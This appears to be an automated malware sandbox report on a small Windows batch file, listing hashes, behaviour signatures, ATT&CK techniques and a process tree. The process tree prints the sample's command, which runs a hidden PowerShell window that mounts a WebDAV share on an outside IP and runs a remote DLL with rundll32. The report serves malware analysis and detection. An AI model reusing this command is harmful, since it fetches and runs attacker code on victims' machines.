4a1697072894ae986225f6548ea3a4b88f7e7e4317e6eca35e5c8bf3cd240889

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 09:25

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General

Target

307989119249523709.bat
Size

2KB
MD5

f3e910ff09164c9ea638677f1fb7fe6a
SHA1

bee6186e6a13e439705a8d4da199417cbad22c05
SHA256

4a1697072894ae986225f6548ea3a4b88f7e7e4317e6eca35e5c8bf3cd240889
SHA512

638229112a57c4456bce88b76c112e946abb61b424e9a72da073b0a6a3101cbfc77b3cb04f67742858d1435f901999495404a7208f92fee46c1aab3f8e50ee10

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1976	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2076	wordpad.exe
2076	wordpad.exe
2076	wordpad.exe
2076	wordpad.exe
2076	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2076	2552	cmd.exe	31
PID 2552 wrote to memory of 2076	2552	cmd.exe	31
PID 2552 wrote to memory of 2076	2552	cmd.exe	31
PID 2552 wrote to memory of 1976	2552	cmd.exe	32
PID 2552 wrote to memory of 1976	2552	cmd.exe	32
PID 2552 wrote to memory of 1976	2552	cmd.exe	32
PID 1976 wrote to memory of 2760	1976	powershell.exe	34
PID 1976 wrote to memory of 2760	1976	powershell.exe	34
PID 1976 wrote to memory of 2760	1976	powershell.exe	34
PID 1976 wrote to memory of 2824	1976	powershell.exe	35
PID 1976 wrote to memory of 2824	1976	powershell.exe	35
PID 1976 wrote to memory of 2824	1976	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\307989119249523709.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4083.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2760
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4083.dll entry
    3⤵
    PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1976-20-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1976-21-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download